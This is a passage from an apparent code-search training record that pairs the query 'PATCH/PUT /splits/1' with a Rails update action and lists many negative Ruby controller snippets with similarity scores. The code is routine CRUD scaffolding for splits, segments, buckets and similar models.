"def create\n\n @response = Response.find(params[:response_id])\n @request_selection = @response.create_request_selection(params[:request_selection])\n #@reward = @request_selection.create_reward(params[:reward])\n \n respond_to do |format|\n if @request_selection.save\n \n format.html { redirect_to _my_requests_path }\n format.json { render json: @request_selection, status: :created, location: @request_selection }\n else\n format.html { render action: \"new\" }\n format.json { render json: @request_selection.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n stages_created = create_all_stages.compact\n\n redirect_to deploy_group, notice: \"Created #{stages_created.length} Stages\"\n end",
"def set_splitwise\n @splitwise = Splitwise.find(params[:id])\n end",
"def create\n @trainees = TraineeBatch.new(params[:participants][:ids], params[:training_calendar_id])\n respond_to do |format|\n if @trainees.save\n format.html { redirect_to training_calendar_path(params[:training_calendar_id]), :notice => 'The participant(s) were successfully added.' }\n format.json { render :json => @trainees, :status => :created, :location => @trainees }\n else\n format.html { render :action => \"new\" }\n format.json { render :json => @trainees.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def create\n @segment = Segment.new(segment_params)\n @segment.get_segment_info(session[:access_token])\n if @segment.valid?\n @segment.stage = @stage \n end\n respond_to do |format|\n if @segment.save \n format.html { redirect_to race_stage_path(@race, @stage), notice: 'Segment was successfully created.' }\n format.json { render :show, status: :created, location: @segment }\n else \n format.html { render :new }\n format.json { render json: @segment.errors, status: :unprocessable_entity } \n end\n end\n end",
"def create\n @climb = Climb.new(params[:climb])\n respond_to do |format|\n if @climb.save\n Sesh.find(params[:sesh_id]).climbs << @climb\n format.html { redirect_to @climb.sesh, notice: 'Climb was successfully created.' }\n format.json { render json: @climb.sesh.data.to_json, status: :created }\n else\n format.html { render action: \"new\" }\n format.json { render json: @climb.errors, status: :unprocessable_entity }\n end\n end\n end",
"def split(more: false, realtime_end_ms: nil, gametime_end_ms: nil) # rubocop:todo Metrics/AbcSize Metrics/CyclomaticComplexity Metrics/MethodLength\n prev_segment = segments.order(segment_number: :asc).where(realtime_end_ms: nil).first\n if prev_segment.nil? && more\n prev_segment = segments.order(segment_number: :asc).last\n end\n\n next_segment = segments.find_by(segment_number: prev_segment.segment_number + 1) if prev_segment\n\n # Normal split\n if !more || next_segment\n if !prev_segment\n errors.add(:segments, :full, message: 'are all completed; pass more=1 to add one and split')\n return\n end\n\n if realtime_end_ms\n prev_segment.assign_attributes(\n realtime_end_ms: realtime_end_ms,\n realtime_duration_ms: realtime_end_ms - prev_segment.start(Run::REAL).to_ms,\n realtime_gold: prev_segment.histories.where('realtime_duration_ms < ?', realtime_end_ms - prev_segment.start(Run::REAL).to_ms).none?,\n )\n end\n\n if gametime_end_ms\n prev_segment.assign_attributes(\n gametime_end_ms: gametime_end_ms,\n gametime_duration_ms: gametime_end_ms - prev_segment.start(Run::GAME).to_ms,\n gametime_gold: prev_segment.histories.where('gametime_duration_ms < ?', gametime_end_ms - prev_segment.start(Run::GAME).to_ms).none?,\n )\n end\n\n prev_segment.save\n\n prev_segment_history = prev_segment.histories.new(\n attempt_number: attempts + 1,\n )\n\n if realtime_end_ms\n prev_segment_history.assign_attributes(\n realtime_duration_ms: realtime_end_ms - prev_segment.start(Run::REAL).to_ms,\n )\n end\n\n if gametime_end_ms\n prev_segment_history.assign_attributes(\n gametime_duration_ms: gametime_end_ms - prev_segment.start(Run::GAME).to_ms,\n )\n end\n\n prev_segment_history.save\n\n # segment could be nil if we just finished the run.\n if next_segment\n next_segment.update(\n realtime_start_ms: realtime_end_ms,\n gametime_start_ms: gametime_end_ms,\n )\n else\n update(\n attempts: attempts + 1,\n realtime_duration_ms: realtime_end_ms,\n gametime_duration_ms: gametime_end_ms,\n )\n histories.create(\n attempt_number: attempts,\n realtime_duration_ms: realtime_end_ms,\n gametime_duration_ms: gametime_end_ms,\n )\n end\n\n return\n end\n\n # Smart split, making new segments if none are left\n\n # If the run was empty\n if !prev_segment\n prev_segment = segments.create(\n segment_number: 0,\n name: 'Segment 1',\n realtime_start_ms: 0,\n realtime_end_ms: realtime_end_ms,\n realtime_duration_ms: realtime_end_ms,\n realtime_gold: true,\n gametime_start_ms: 0,\n gametime_end_ms: gametime_end_ms,\n gametime_duration_ms: gametime_end_ms,\n gametime_gold: true,\n )\n\n prev_segment.histories.create(\n attempt_number: 1,\n realtime_duration_ms: realtime_end_ms,\n gametime_duration_ms: gametime_end_ms,\n )\n end\n\n if realtime_end_ms\n prev_segment.assign_attributes(\n realtime_end_ms: realtime_end_ms,\n realtime_duration_ms: realtime_end_ms - prev_segment.start(Run::REAL).to_ms,\n realtime_gold: prev_segment.histories.where('realtime_duration_ms < ?', realtime_end_ms - prev_segment.start(Run::REAL).to_ms).none?,\n )\n end\n\n if gametime_end_ms\n prev_segment.assign_attributes(\n gametime_end_ms: gametime_end_ms,\n gametime_duration_ms: gametime_end_ms - prev_segment.start(Run::GAME).to_ms,\n gametime_gold: prev_segment.histories.where('gametime_duration_ms < ?', gametime_end_ms - prev_segment.start(Run::GAME).to_ms).none?,\n )\n end\n\n prev_segment.save\n\n prev_segment_history = prev_segment.histories.build(\n attempt_number: attempts + 1,\n )\n\n if realtime_end_ms\n prev_segment_history.assign_attributes(\n realtime_duration_ms: realtime_end_ms - prev_segment.start(Run::REAL).to_ms,\n )\n end\n\n if gametime_end_ms\n prev_segment_history.assign_attributes(\n gametime_duration_ms: gametime_end_ms - prev_segment.start(Run::GAME).to_ms,\n )\n end\n\n prev_segment_history.save\n\n next_segment = segments.create(\n segment_number: prev_segment.segment_number + 1,\n name: \"Segment #{prev_segment.segment_number + 2}\",\n realtime_start_ms: prev_segment.end(Run::REAL).to_ms,\n gametime_start_ms: prev_segment.end(Run::GAME).to_ms,\n )\n\n $s3_bucket_internal.put_object(\n key: \"splits/#{s3_filename}\",\n body: ApplicationController.new.render_to_string(\n template: 'runs/exports/exchange',\n layout: false,\n locals: {:@run => self},\n ),\n )\n\n save\n end",
"def split_params\n params.permit(:percent_owed, :amount_owed, :date_paid)\n end",
"def create\n @api_v1_metrics_dashboards_segment = Api::V1::MetricsDashboardsSegment.new(api_v1_metrics_dashboards_segment_params)\n\n respond_to do |format|\n if @api_v1_metrics_dashboards_segment.save\n format.html { redirect_to @api_v1_metrics_dashboards_segment, notice: 'Metrics dashboards segment was successfully created.' }\n format.json { render :show, status: :created, location: @api_v1_metrics_dashboards_segment }\n else\n format.html { render :new }\n format.json { render json: @api_v1_metrics_dashboards_segment.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\r\n @stages_work = StagesWork.new(params[:stages_work])\r\n\r\n respond_to do |format|\r\n if @stages_work.save\r\n format.html { redirect_to @stages_work, notice: 'Stages work was successfully created.' }\r\n format.json { render json: @stages_work, status: :created, location: @stages_work }\r\n else\r\n format.html { render action: \"new\" }\r\n format.json { render json: @stages_work.errors, status: :unprocessable_entity }\r\n end\r\n end\r\n end",
"def create\n @leaderboard = Leaderboard.new(params[:leaderboard])\n\n respond_to do |format|\n if @leaderboard.save\n format.html { redirect_to @leaderboard, notice: 'Leaderboard was successfully created.' }\n format.json { render json: @leaderboard, status: :created, location: @leaderboard }\n else\n format.html { render action: \"new\" }\n format.json { render json: @leaderboard.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n runway = qx_take_off_params[:runway].split(\"/\")\n runway.each do |item|\n qx_take_off_params[:runway_id] = Qx::Runway.get_runay_id(qx_take_off_params[:airport_id], item)\n @qx_take_off = Qx::TakeOff.new(qx_take_off_params)\n end\n\n\n p runway\n\n respond_to do |format|\n if @qx_take_off.save\n format.html { redirect_to @qx_take_off, notice: 'Take off was successfully created.' }\n format.json { render :show, status: :created, location: @qx_take_off }\n else\n format.html { render :new }\n format.json { render json: @qx_take_off.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @bucket = current_bucket\n @performers = Array.new\n #get values from URL\n performer_id = params[:performer_id]\n name = params[:name]\n ticket_url = params[:ticket_url]\n image_url = params[:image_url]\n #look up performer by ID, if it doesn't already exist then create one\n begin\n \tperformer = Performer.find(performer_id)\n\t rescue ActiveRecord::RecordNotFound\n\t \t\tperformer = Performer.new\n\t\t\tperformer.id = performer_id\n\t\tend\n\t\t\n\t\tperformer.name = name\n\t\tperformer.ticket_url = ticket_url\n\t\tperformer.image_url = image_url\n\t\tperformer.save\n\t\n\t\t\n @line_item = @bucket.line_items.build\n @line_item.performer_id = performer_id\n \n #load up performer data for display\n \t@bucket.line_items.each do | line_item | \n \t\t@performers.push(Performer.find(line_item.performer_id))\n \tend\n\n respond_to do |format|\n if @line_item.save\n format.html { redirect_to search_path }\n format.js {}\n format.json { render json: @bucket}\n else\n format.html { render action: \"http://www.google.com\" }\n format.json { render json: @line_item.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @multi_board = MultiBoard.new(params[:multi_board])\n\n respond_to do |format|\n if @multi_board.save\n format.html { redirect_to @multi_board, notice: 'Multi board was successfully created.' }\n format.json { render json: @multi_board, status: :created, location: @multi_board }\n else\n format.html { render action: \"new\" }\n format.json { render json: @multi_board.errors, status: :unprocessable_entity }\n end\n end\n end",
"def declare_winner_of_split_test(mailing_id, winner_id)\n post(\"/mailings/#{mailing_id}/winner/#{winner_id}\")\n end",
"def runner_params\n params.require(:runner).permit(:runner_name, :area_id, :area, :status, :balance)\n end",
"def create\n data = []\n trace_params.each do |p|\n hash = {\n latitude: p[\"latitude\"],\n longitude: p[\"longitude\"]\n }\n data << hash\n end\n\n if Trace.upload_data(data)\n render json: {status: 'OK'}\n else\n render json: @trace.errors, status: :unprocessable_entity\n end\n end",
"def create\n megam_rest.post_billedhistories(to_hash)\n end",
"def create\n # Read the Matches from the JSON Object\n data = params[:matches]\n matches = data.to_a\n\n MatchCreatorJob.perform_later(matches: matches)\n\n render json: {}, status: :ok\n\n end",
"def index\n @pie_piece_transaction_splits = PiePieceTransactionSplit.all\n end",
"def create\n @roadmap = Roadmap.find(params[:roadmap_id])\n @roadmap_step = @roadmap.roadmap_steps.create(roadmap_step_params)\n #@roadmap_step = RoadmapStep.new(roadmap_step_params)\n\n respond_to do |format|\n if @roadmap_step.save\n format.html { redirect_to @roadmap, notice: 'Roadmap step was successfully created.' }\n format.json { render :show, status: :created, location: @roadmap_step }\n else\n format.html { render :new }\n format.json { render json: @roadmap_step.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @trace = Trace.new\n if @trace.save\n @trace.import_points(points_data)\n status = :created\n else\n status = :bad_request\n end\n\n render json: @trace, status: status\n end",
"def post_split_document(name, opts = {})\n @api_client.request_token_if_needed\n data, _status_code, _headers = post_split_document_with_http_info(name, opts)\n rescue ApiError => error\n if error.code == 401\n @api_client.request_token_if_needed\n data, _status_code, _headers = post_split_document_with_http_info(name, opts)\n else\n raise\n end\n return data\n end",
"def create\n @hill = Hill.find(params[:hill_id])\n \n @run = @hill.runs.create(params[:run])\n redirect_to hill_path(@hill) \n end",
"def destroy\n @item_split.destroy\n respond_to do |format|\n format.html { redirect_to item_splits_url }\n format.json { head :no_content }\n end\n end",
"def create\n @segment = @segmentation_variable.segments.create(params[:segment])\n\n respond_to do |format|\n if @segment.save\n format.html { redirect_to @segmentation_variable, notice: t2('create.notice')}\n format.json { render json: @segment, status: :created, location: @segment }\n else\n format.html { render action: \"new\" }\n format.json { render json: @segment.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @game = Game.new(game_params)\n scores = params[:score].split(\"-\")\n params[:player].each do |team_number, players|\n players.each do |player_name|\n player = Player.find_by(name: player_name)\n participation = Participation.create(player: player, team_number: team_number.to_i, score: scores[team_number.to_i]) \n if participation.valid?\n @game.participations << participation \n end\n end\n end\n\n respond_to do |format|\n if @game.save\n format.html { redirect_to games_url, notice: 'Game was successfully created.' }\n format.json { render action: 'show', status: :created, location: @game }\n else\n format.html { render action: 'new' }\n format.json { render json: @game.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @display = Display.new(display_params)\n screens_num = params[:split_in];\n # creamos las screens necesarias\n saved = @display.save\n \n create_screens(screens_num)\n\n respond_to do |format|\n if saved\n format.html { \n flash[:success]= 'Display was successfully created.' \n redirect_to displays_path \n }\n format.json { render :show, status: :created, location: @display }\n else\n format.html { render :new }\n format.json { render json: @display.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @board = Board.new(board_params)\n\n @generator = GenerateBoard.new(width: @board.width, height: @board.height, number_of_mines: @board.number_of_mines)\n @hidden_array = @generator.board\n @blank_array = @generator.blank_board\n\n @board.array = @hidden_array\n @board.blank = @blank_array\n\n\n respond_to do |format|\n if @board.save\n format.html { redirect_to @board, notice: \"Board was successfully created.\" }\n format.json { render :show, status: :created, location: @board }\n else\n format.html { render :new, status: :unprocessable_entity }\n format.json { render json: @board.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @cut = Cut.new(params[:cut])\n\n respond_to do |format|\n if @cut.save\n format.html { redirect_to @cut, notice: 'Cut was successfully created.' }\n format.json { render json: @cut, status: :created, location: @cut }\n else\n format.html { render action: \"new\" }\n format.json { render json: @cut.errors, status: :unprocessable_entity }\n end\n end\n end",
"def split_reservation(reservation_id, split_amount, order_id_1, order_id_2, flags = nil)\n # params = [\n # reservation_id,\n # split_amount,\n # order_id_1,\n # order_id_2,\n # flags.to_i,\n # self.store_id,\n # self.digest(reservation_id, split_amount)\n # ]\n # self.call(:split_reservation, *params)\n raise NotImplementedError\n end",
"def create_bucket_with_params(params)\n bucket = Bucket.new(params)\n bucket.team_id = team.id\n bucket.row_order_position = :last\n bucket.save\n self.bucket = bucket\n log(:create_bucket)\n bucket\n end",
"def create\n @segment_name = SegmentName.new(params[:segment_name])\n\n respond_to do |format|\n if @segment_name.save\n format.html { redirect_to @segment_name, notice: 'Segment name was successfully created.' }\n format.json { render json: @segment_name, status: :created, location: @segment_name }\n else\n format.html { render action: \"new\" }\n format.json { render json: @segment_name.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create_set(data)\n result = @connection.request(\n url: \"/snapshot-sets\",\n method: :post,\n payload: {\n snapshotSet: data\n }\n )\n\n # Blocks async task\n result = @connection.wait_for_task(result['taskUri'].split('/').last)\n\n get_set(result['associatedResource']['resourceUri'].split('/').last)\n end",
"def create\n @idea = current_member.ideas.new(idea_params) \n respond_to do |format|\n sectors_params.delete(\"\")\n if @idea.save\n sectors_params.each do |k|\n @idea.sectors << Sector.find_by(id:k)\n end\n format.json { head :no_content }\n format.js\n else\n\n format.json { render :json => { :error => @idea.errors.full_messages }, :status => 422 }\n end\n \n end\n end",
"def set_item_split\n @item_split = ItemSplit.find(params[:id])\n end",
"def post_route(route, message)\n raise TypeError unless route.is_a? Route\n @changeset = @api.create_changeset(message, tags={'created_by'=>'ITCR'})\n ways_list = []\n nodes_list = create_node_list(route.path)\n\n until nodes_list.empty? # For node's maximum limit of a way\n way_nodes = nodes_list.take(MAX_NODES)\n nodes_list = nodes_list.drop(MAX_NODES)\n way_id = create_way(way_nodes)\n ways_list << way_id\n end\n\n relation = create_relation(ways_list) # Link ways to relation\n relation = add_stops(relation, route.stops) # Add bus stops to relation\n\n @api.save(relation, @changeset) # Save relation using the API\n puts 'Relation created succesfuly.'\n @api.close_changeset(@changeset)\n @changeset.id\n end",
"def create\n @part_name = PartName.new(params.require(:part_name).permit(:name))\n ok = validatePartName?(@part_name)\n okUrl, errAction = setSaveAction('new', part_names_url)\n\n respond_to do |format|\n if ok and @part_name.save\n format.html { redirect_to okUrl,\n notice: 'PartName was successfully created.' }\n format.json { render json: @part_name, status: :created,\n location: @part_name }\n else\n format.html { render action: errAction }\n format.json { render json: @part_name.errors,\n status: :unprocessable_entity }\n end\n end\n end",
"def create\n @bucket = current_user.buckets.new(bucket_params)\n if bucket_params[:pins_attributes]\n @bucket.pins.first.user_id = current_user.id\n end\n respond_to do |format|\n if @bucket.save\n format.js\n format.html { redirect_to buckets_path, notice: \"bucket created #{@bucket.pins.count}- time to add some kicks\"}\n else\n format.json { render json: @bucket.errors, status: :unprocessable_entity }\n format.html { redirect_to buckets_path, alert: \"Unable to create Bucket. Name required\" }\n end\n end\n # end\n end",
"def create\n @runner = Runner.new(runner_params)\n @runner.status = true\n @area = Area.find_by(name: @runner.area)\n @runner.area_id = @area.id\n respond_to do |format|\n if @runner.save\n format.html { redirect_to @runner, notice: 'Runner was successfully created.' }\n format.json { render :show, status: :created, location: @runner }\n else\n format.html { render :new }\n format.json { render json: @runner.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @mini_map_road = MiniMapRoad.new(params[:mini_map_road])\n\n respond_to do |format|\n if @mini_map_road.save\n format.html { redirect_to @mini_map_road, notice: 'Mini map road was successfully created.' }\n format.json { render json: @mini_map_road, status: :created, location: @mini_map_road }\n else\n format.html { render action: \"new\" }\n format.json { render json: @mini_map_road.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n outcome =\n InterTeamTradeGroups::Create.run(\n params.merge(\n inter_team_trade_group: InterTeamTradeGroup.new(out_fpl_team_list: @fpl_team_list),\n out_fpl_team_list: @fpl_team_list,\n current_user: current_user\n )\n )\n\n if outcome.valid?\n render json: trade_group_hash.merge(\n success: \"Successfully created a pending trade - Fpl Team: #{outcome.in_fpl_team.name}, \" \\\n \"Out: #{outcome.out_player.name} In: #{outcome.in_player.name}.\"\n )\n else\n render json: trade_group_hash.merge(errors: outcome.errors.full_messages),\n status: :unprocessable_entity\n end\n end",
"def new\n @segment = @segmentation_variable.segments.build\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @segment }\n end\n end",
"def create\n #for multiple entries\n params[:member_id].zip(params[:mem]).each do |mid,tm|\n @race_timing_grp_evnt = RaceTimingGrpEvnt.new(params[:race_timing_grp_evnt])\n @race_timing_grp_evnt.member_id = mid.to_i\n @race_timing_grp_evnt.gtime = tm\n @race_timing_grp_evnt.save\n end\n\n respond_to do |format|\n if @race_timing_grp_evnt.save\n format.html { redirect_to @race_timing_grp_evnt, notice: 'Race timing grp evnt was successfully created.' }\n format.json { render json: @race_timing_grp_evnt, status: :created, location: @race_timing_grp_evnt }\n else\n format.html { render action: \"new\" }\n format.json { render json: @race_timing_grp_evnt.errors, status: :unprocessable_entity }\n end\n end\n end",
"def submit_work_json(block_header:)\n client.make_request('/submit-work-json', 'post', params: {block_header: block_header})\n end",
"def initialize(n_splits: 5)\n @n_splits = n_splits\n end",
"def create\n @shard = Shard.new(params[:shard])\n\n respond_to do |format|\n if @shard.save\n format.html { redirect_to @shard, notice: 'Shard was successfully created.' }\n format.json { render json: @shard, status: :created, location: @shard }\n else\n format.html { render action: \"new\" }\n format.json { render json: @shard.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @power_rack = PowerRack.new(power_rack_params)\n\n respond_to do |format|\n if @power_rack.save\n format.html { redirect_to @power_rack, notice: \"Power rack was successfully created.\" }\n format.json { render :show, status: :created, location: @power_rack }\n else\n format.html { render :new, status: :unprocessable_entity }\n format.json { render json: @power_rack.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n if info = parse_input(params)\n name = info.delete(:name)\n alt_names = info.delete(:alt_names)\n obstacles = info.delete(:obstacles)\n\n if spot = SkateSpot.new(info)\n spot.alt_names = alt_names.map! { |n| SpotName.find_or_create_by(:name => n, :spot => spot) } if alt_names\n spot.name = SpotName.find_or_create_by(:name => name, :spot => spot) if name\n spot.obstacles = obstacles.map! { |o| Obstacle.create(:type => ObstacleType.where(:name => o['type']).first, :geometry => o['geometry'], :spot => spot) } if obstacles\n\n return render :json => { :status => (spot.save == true ? :success : :unprocessable_entity) }\n end\n end\n\n render :json => { :status => :unprocessable_entity }\n\n rescue ActiveRecord::RecordNotSaved\n render :json => { :status => :unprocessable_entity }\n end",
"def create\n @leader = Leader.new(params[:leader])\n\n respond_to do |format|\n if @leader.save\n format.html { redirect_to @leader, notice: 'Leader was successfully created.' }\n format.json { render json: @leader, status: :created, location: @leader }\n else\n format.html { render action: \"new\" }\n format.json { render json: @leader.errors, status: :unprocessable_entity }\n end\n end\n end"
] |
[
"0.6476602",
"0.63241184",
"0.618205",
"0.6164083",
"0.573422",
"0.56279194",
"0.559353",
"0.55533266",
"0.5549331",
"0.5482597",
"0.532622",
"0.5202808",
"0.52014714",
"0.51888865",
"0.51056457",
"0.51000106",
"0.5061213",
"0.50597984",
"0.5024198",
"0.5017644",
"0.50047326",
"0.49570063",
"0.49266222",
"0.4871933",
"0.48713654",
"0.48319066",
"0.482928",
"0.48245028",
"0.48094654",
"0.48077878",
"0.480635",
"0.47950912",
"0.47906807",
"0.47847107",
"0.47785717",
"0.47648394",
"0.47573757",
"0.47550827",
"0.47489214",
"0.4740782",
"0.47384557",
"0.47249025",
"0.46950677",
"0.4693145",
"0.4685018",
"0.46764246",
"0.4666142",
"0.46571147",
"0.46562016",
"0.46480784",
"0.46451348",
"0.46442276",
"0.46397105",
"0.46387857",
"0.4636645",
"0.46356836",
"0.4628894",
"0.46223104",
"0.46085647",
"0.4593462",
"0.4593321",
"0.4589372",
"0.4583096",
"0.45811647",
"0.4563309",
"0.45601383",
"0.4559455",
"0.45526725",
"0.45501512",
"0.4549116",
"0.45423523",
"0.4537755",
"0.45237982",
"0.45234877",
"0.45179772",
"0.44924173",
"0.44885662",
"0.44827396",
"0.44807637",
"0.44790426",
"0.44761425",
"0.44739637",
"0.4468133",
"0.4464975",
"0.44577825",
"0.44547722",
"0.44537988",
"0.444776",
"0.44462937",
"0.4443844",
"0.44426373",
"0.44426066",
"0.44401538",
"0.44350207",
"0.44348195",
"0.4434015",
"0.44321886",
"0.4431162",
"0.4428314",
"0.44282112"
] |
0.6598925
|
0
|
PATCH/PUT /splits/1 PATCH/PUT /splits/1.json
|
def update
respond_to do |format|
if @split.update(split_params)
format.html { redirect_to @split, notice: 'Split was successfully updated.' }
format.json { render :show, status: :ok, location: @split }
else
format.html { render :edit }
format.json { render json: @split.errors, status: :unprocessable_entity }
end
end
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def update\n @split = Split.find(params[:id])\n\n respond_to do |format|\n if @split.update_attributes(params[:split])\n format.html { redirect_to(@split, :notice => 'Split was successfully updated.') }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @split.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def update\n if @split.update(split_params)\n render json: @split\n else\n render json: @split.errors, status: :unprocessable_entity\n end\n end",
"def update\n respond_to do |format|\n if @splitwise.update(splitwise_params)\n format.html { redirect_to @splitwise, notice: 'Splitwise was successfully updated.' }\n format.json { render :show, status: :ok, location: @splitwise }\n else\n format.html { render :edit }\n format.json { render json: @splitwise.errors, status: :unprocessable_entity }\n end\n end\n end",
"def patch\n headers = {\"If-Match\" => @version}\n response = @context.request :patch, \"#{@path}/#{@id}\", @data.to_json, headers\n @version += 1\n response\n # 'X-HTTP-Method-Override' => 'PATCH'\n end",
"def update\n respond_to do |format|\n if @test_split.update(test_split_params)\n format.html { redirect_to @test_split, notice: 'Test split was successfully updated.' }\n format.json { render :show, status: :ok, location: @test_split }\n else\n format.html { render :edit, status: :unprocessable_entity }\n format.json { render json: @test_split.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @item_split.update(item_split_params)\n format.html { redirect_to @item_split, notice: 'Item split was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @item_split.errors, status: :unprocessable_entity }\n end\n end\n end",
"def patch!\n request! :patch\n end",
"def update_job_success(job_id, success)\n RestClient.put \"#{rest_jobs_url}/#{job_id}\", {\"passed\" => success}.to_json, :content_type => :json\nend",
"def update\n @supermarket = Supermarket.find(params[:id]) \n respond_to do |format|\n if @supermarket.update(supermarket_params)\n format.json { render json: @supermarket, status: :ok }\n end\n end\n end",
"def update(&block)\n validate_request()\n\n # Params includes all of the PATCH data at the top level along with other\n # other Rails-injected params like 'id', 'action', 'controller'. These\n # are harmless given no namespace collision and we're only interested in\n # the 'Operations' key for the actual patch data.\n #\n render(json: yield(self.safe_params()[:id], self.safe_params().to_hash()))\n end",
"def update!(params)\n res = @client.put(path, nil, params, \"Content-Type\" => \"application/json\")\n @attributes = res.json if res.status == 201\n res\n end",
"def update_tenant_circle(args = {}) \n put(\"/tenantcircles.json/#{args[:circleId]}\", args)\nend",
"def update_job_success(job_id, success)\n RestClient.put \"#{rest_jobs_url}/#{job_id}\", { 'passed' => success }.to_json, :content_type => :json\nend",
"def update_job_success(job_id, success)\n RestClient.put \"#{rest_jobs_url}/#{job_id}\", { 'passed' => success }.to_json, :content_type => :json\nend",
"def update_job_success(job_id, success)\n RestClient.put \"#{rest_jobs_url}/#{job_id}\", { 'passed' => success }.to_json, :content_type => :json\nend",
"def update!(**args)\n @requests = args[:requests] if args.key?(:requests)\n end",
"def update!(**args)\n @requests = args[:requests] if args.key?(:requests)\n end",
"def update!(**args)\n @requests = args[:requests] if args.key?(:requests)\n end",
"def update!(**args)\n @requests = args[:requests] if args.key?(:requests)\n end",
"def update\n respond_to do |format|\n if @setbreak.update(setbreak_params)\n format.json { respond_with_bip @setbreak }\n else\n format.json { respond_with_bip @setbreak }\n end\n end\n end",
"def update # PATCH\n raise NotImplementedError\n end",
"def update\n @slab = Slab.find(params[:id])\n\n respond_to do |format|\n if @slab.update_attributes(params[:slab])\n format.html { redirect_to @slab, :notice => 'Slab was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render :action => \"edit\" }\n format.json { render :json => @slab.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def api_patch(path, data = {})\n api_request(:patch, path, :data => data)\n end",
"def patch\n end",
"def update\n do_patch { return } # check if patch and do submission and return early if it is a patch (submission)\n # otherwise this is a PUT of the dataset metadata\n check_status { return } # check it's in progress, clone a submitted or raise an error\n respond_to do |format|\n format.json do\n dp = if @resource\n DatasetParser.new(hash: params['dataset'], id: @resource.identifier, user: @user) # update dataset\n else\n DatasetParser.new(hash: params['dataset'], user: @user, id_string: params[:id]) # upsert dataset with identifier\n end\n @stash_identifier = dp.parse\n ds = Dataset.new(identifier: @stash_identifier.to_s) # sets up display objects\n render json: ds.metadata, status: 200\n end\n end\n end",
"def update\n respond_to do |format|\n if @splitter.update(splitter_params)\n format.html { redirect_to @splitter, notice: 'Splitter was successfully updated.' }\n format.json { render :show, status: :ok, location: @splitter }\n else\n format.html { render :edit }\n format.json { render json: @splitter.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @subset.update(subset_params)\n format.html { redirect_to @subset, notice: 'Subset was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @subset.errors, status: :unprocessable_entity }\n end\n end\n end",
"def patch(path, params)\n time(\"PATCH #{path}\") { Cloudflarer.new.patch(path, params) }\n end",
"def update\n add_breadcrumb \"Batches\", batches_url\n add_breadcrumb \"Edit Batch\"\n respond_to do |format|\n if @batch.update(batch_params)\n format.html { redirect_to @batch, notice: 'Batch was successfully updated.' }\n format.json { render :show, status: :ok, location: @batch }\n else\n format.html { render :edit }\n flash[:alert] = @batch.errors.full_messages.to_sentence\n format.json { render json: @batch.errors, status: :unprocessable_entity }\n end\n end\n end",
"def put!\n request! :put\n end",
"def update\n respond_to do |format|\n if @pie_piece_transaction_split.update(pie_piece_transaction_split_params)\n format.html { redirect_to @pie_piece_transaction_split, notice: 'Pie piece transaction split was successfully updated.' }\n format.json { render :show, status: :ok, location: @pie_piece_transaction_split }\n else\n format.html { render :edit }\n format.json { render json: @pie_piece_transaction_split.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update!(**args)\n @initial_splits = args[:initial_splits] if args.key?(:initial_splits)\n @table = args[:table] if args.key?(:table)\n @table_id = args[:table_id] if args.key?(:table_id)\n end",
"def rest_edit(path, options={}, &blk)\n callback = Proc.new { |*args|\n @object = yield(*args) or pass\n rest_params.each { |k, v| @object.send :\"#{k}=\", v unless k == 'id' }\n\n return 400, @object.errors.to_json unless @object.valid?\n\n @object.save\n rest_respond @object\n }\n\n # Make it work with `Backbone.emulateHTTP` on.\n put path, &callback\n post path, &callback\n end",
"def rest_edit(path, options={}, &blk)\n callback = Proc.new { |*args|\n @object = yield(*args) or pass\n rest_params.each { |k, v| @object.send :\"#{k}=\", v unless k == 'id' }\n\n return 400, @object.errors.to_json unless @object.valid?\n\n @object.save\n rest_respond @object\n }\n\n # Make it work with `Backbone.emulateHTTP` on.\n put path, &callback\n post path, &callback\n end",
"def update(url, data)\n RestClient.put url, data, :content_type => :json\nend",
"def patch(url, payload, headers={})\n RestClient.patch url, payload, headers\n end",
"def update\n @go_slim = GoSlim.find(params[:id])\n\n respond_to do |format|\n if @go_slim.update_attributes(params[:go_slim])\n format.html { redirect_to @go_slim, notice: 'Go slim was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @go_slim.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @cluster = Cluster.find(params[:id])\n\n respond_to do |format|\n if @cluster.update_attributes(params[:cluster])\n format.html { redirect_to @cluster, notice: 'Cluster was successfully updated.' }\n format.json { head :ok }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @cluster.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @job = Job.find(params[:job_id])\n @part = @job.parts.find(params[:id])\n\n respond_to do |format|\n if @part.update(part_params)\n format.html { redirect_to edit_job_path(@job.id), notice: 'Part was successfully updated.' }\n format.json { render :show, status: :ok, location: @part }\n else\n format.html { render edit_job_part_path(@job) }\n format.json { render json: @part.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n job = Job.find(params[:id])\n job.update_attributes(job_params)\n render json: job\n end",
